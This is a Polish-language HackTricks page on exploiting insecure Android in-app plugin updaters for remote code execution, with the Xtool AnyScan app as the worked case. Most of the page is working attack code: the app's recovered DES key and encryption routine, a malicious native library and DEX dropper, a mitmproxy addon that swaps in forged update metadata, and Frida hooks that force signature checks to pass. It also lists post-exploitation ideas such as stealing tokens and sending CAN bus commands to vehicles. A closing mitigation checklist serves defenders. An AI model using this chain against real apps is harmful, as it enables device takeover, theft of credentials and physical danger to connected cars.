Niebezpieczne mechanizmy aktualizacji in‑app – Remote Code Execution via Malicious Plugins
Reading time: 9 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wiele aplikacji Android implementuje własne kanały aktualizacji „plugin” lub „dynamic feature” zamiast używać Google Play Store. Gdy implementacja jest niebezpieczna, atakujący mogący przechwycić lub modyfikować ruch aktualizacji może dostarczyć dowolny natywny lub Dalvik/ART kod, który zostanie załadowany w procesie aplikacji, prowadząc do pełnego Remote Code Execution (RCE) na urządzeniu — a w niektórych przypadkach także na dowolnym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne …).
Ta strona podsumowuje realny łańcuch podatności znaleziony w aplikacji diagnostycznej Xtool AnyScan (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł/a audytować inne aplikacje Android i weaponise the mis-configuration podczas red-team engagement.
0. Quick triage: does the app have an in‑app updater?
Wskazówki statyczne do wyszukania w JADX/apktool:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders:
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Unzip paths writing under app-internal or external storage, then immediately loading a
.so
/DEX.
Runtime hooks to confirm:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. Identyfikacja niezabezpieczonego TLS TrustManagera
- Zdekompiluj APK za pomocą jadx / apktool i zlokalizuj stos sieciowy (OkHttp, HttpUrlConnection, Retrofit…).
- Poszukaj niestandardowego
TrustManager
lubHostnameVerifier
, który ślepo ufa wszystkim certyfikatom:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Jeśli jest obecna, aplikacja zaakceptuje dowolny certyfikat TLS → możesz uruchomić transparentny MITM proxy z self-signed cert:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
Jeśli TLS pinning jest wymuszony zamiast niebezpiecznej logiki trust-all, zobacz:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering metadanych aktualizacji
W przypadku AnyScan każde uruchomienie aplikacji wywołuje żądanie HTTPS GET do:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Treść odpowiedzi to dokument XML, którego węzły <FileData>
zawierają Base64-encoded, DES-ECB encrypted JSON opisujące każdy dostępny plugin.
Typowe kroki poszukiwania:
- Znajdź rutynę kryptograficzną (np.
RemoteServiceProxy
) i odzyskaj:
- algorytm (DES / AES / RC4 …)
- tryb działania (ECB / CBC / GCM …)
- twardo zakodowany klucz / IV (zwykle stałe 56‑bit DES lub 128‑bit AES)
- Zaimplementuj ponownie funkcję w Pythonie, aby odszyfrować / zaszyfrować metadane:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Notatki zaobserwowane in the wild (2023–2025):
- Metadane są często JSON-within-XML lub protobuf; słabe szyfry i statyczne klucze są powszechne.
- Wiele updaterów akceptuje zwykły HTTP do pobrania właściwego payloadu, nawet jeśli metadane przychodzą przez HTTPS.
- Pluginy często rozpakowują się do app-internal storage; niektóre nadal używają external storage lub przestarzałego
requestLegacyExternalStorage
, co umożliwia manipulacje między aplikacjami.
3. Craft a Malicious Plugin
3.1 Native library path (dlopen/System.load[Library])
- Wybierz dowolny prawdziwy plugin ZIP i zamień bibliotekę natywną na swój payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Zaktualizuj metadane JSON, tak aby
"FileName" : "PWNED.zip"
i"DownloadURL"
wskazywały na Twój serwer HTTP. - Ponownie zaszyfruj + zakoduj w Base64 zmodyfikowany JSON i wklej go z powrotem do przechwyconego XML.
3.2 Dex-based plugin path (DexClassLoader)
Niektóre aplikacje pobierają JAR/APK i ładują kod za pomocą DexClassLoader
. Zbuduj złośliwy DEX, który uruchamia się przy załadowaniu:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
Jeśli cel wywoła Class.forName("pwn.Dropper")
, wykona się Twój inicjalizator statyczny; w przeciwnym razie refleksyjnie wylistuj załadowane klasy za pomocą Frida i wywołaj wyeksportowaną metodę.
4. Dostarcz Payload przy użyciu mitmproxy
Przykład addon.py
, który dyskretnie podmienia oryginalne metadane:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Uruchom prosty web server, aby hostować złośliwy ZIP/JAR:
python3 -m http.server 8000 --directory ./payloads
Po uruchomieniu aplikacji przez ofiarę, ta:
- pobierze nasz sfałszowany XML przez kanał MITM;
- odszyfruje i sparsuje go przy użyciu wbudowanego mechanizmu kryptograficznego;
- pobierze
PWNED.zip
lubplugin.jar
→ rozpakowuje wewnątrz prywatnej przestrzeni aplikacji; - załaduje dołączone
.so
lub DEX, natychmiast wykonując nasz kod z uprawnieniami aplikacji (aparat, GPS, Bluetooth, system plików, …).
Ponieważ plugin jest cache'owany na dysku, backdoor utrzymuje się po restarcie i uruchamia się za każdym razem, gdy użytkownik wybierze powiązaną funkcję.
4.1 Omijanie sprawdzania sygnatur/sum kontrolnych (jeśli obecne)
Jeśli updater weryfikuje sygnatury lub sumy kontrolne, hook weryfikację tak, aby zawsze akceptowała zawartość atakującego:
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Rozważ też stubowanie metod dostawcy takich jak PluginVerifier.verifySignature()
, checkHash()
, lub obejście logiki bramek aktualizacji w Java lub JNI.
5. Inne wektory ataku w updaterach (2023–2025)
- Zip Slip path traversal podczas rozpakowywania pluginów: złośliwe wpisy takie jak
../../../../data/data/<pkg>/files/target
nadpisują dowolne pliki. Zawsze sanityzuj ścieżki wpisów i używaj białych list. - Staging na pamięci zewnętrznej: jeśli aplikacja zapisuje archiwum na pamięci zewnętrznej przed załadowaniem, inna aplikacja może je zmodyfikować. Scoped Storage lub pamięć wewnętrzna aplikacji zapobiegają temu.
- Cleartext downloads: metadane przez HTTPS, ale payload przez HTTP → prosta zamiana w ataku MITM.
- Niekompletne sprawdzenia podpisu: porównywanie tylko hasha pojedynczego pliku, a nie całego archiwum; brak powiązania podpisu z kluczem developera; akceptowanie dowolnego klucza RSA obecnego w archiwum.
- React Native / Web-based OTA content: jeśli natywne mosty wykonują JS z OTA bez ścisłego podpisywania, wykonywanie dowolnego kodu w kontekście aplikacji jest możliwe (np. insecure CodePush-like flows). Zapewnij detached update signing i rygorystyczną weryfikację.
6. Pomysły po eksploatacji
- Ukradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
- Wrzucić APK drugiego etapu i cicho zainstalować go przez
pm install
jeśli to możliwe (niektóre aplikacje już deklarująREQUEST_INSTALL_PACKAGES
). - Nadużyć podłączonego hardware’u – w scenariuszu AnyScan możesz wysyłać dowolne komendy OBD‑II / CAN bus (odblokować drzwi, wyłączyć ABS itp.).
Lista kontrolna wykrywania i łagodzenia (blue team)
- Unikaj dynamicznego ładowania kodu i aktualizacji spoza sklepu. Preferuj Play‑mediated updates. Jeśli dynamiczne pluginy są konieczne, projektuj je jako paczki zawierające tylko dane, a kod wykonywalny trzymaj w bazowym APK.
- Wymuszaj prawidłowe TLS: brak niestandardowych menedżerów akceptujących wszystkie certyfikaty; stosuj pinning tam, gdzie to możliwe i utwardzoną konfigurację network security, która zabrania ruchu w cleartext.
- Nie pobieraj kodu wykonywalnego spoza Google Play. Jeśli musisz, używaj detached update signing (np. Ed25519/RSA) z kluczem kontrolowanym przez developera i weryfikuj przed załadowaniem. Powiąż metadane i payload (długość, hash, wersja) i zamykaj w razie błędu.
- Używaj nowoczesnej kryptografii (AES‑GCM) z nonce per‑message dla metadanych; usuń zakodowane na stałe klucze z klienta.
- Waliduj integralność pobranych archiwów: weryfikuj podpis obejmujący każdy plik, albo przynajmniej weryfikuj manifest SHA‑256 hashy. Odrzucaj dodatkowe/nieznane pliki.
- Przechowuj pobrane pliki w pamięci wewnętrznej aplikacji (lub Scoped Storage na Android 10+) i stosuj uprawnienia plików zapobiegające modyfikacjom między aplikacjami.
- Chroń przed Zip Slip: normalizuj i waliduj ścieżki wpisów w zipie przed rozpakowaniem; odrzucaj ścieżki absolutne lub segmenty
..
. - Rozważ Play “Code Transparency”, aby umożliwić sobie i użytkownikom weryfikację, że dostarczony kod DEX/native odpowiada temu, co zbudowałeś (uzupełnia, ale nie zastępuje podpisywania APK).
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.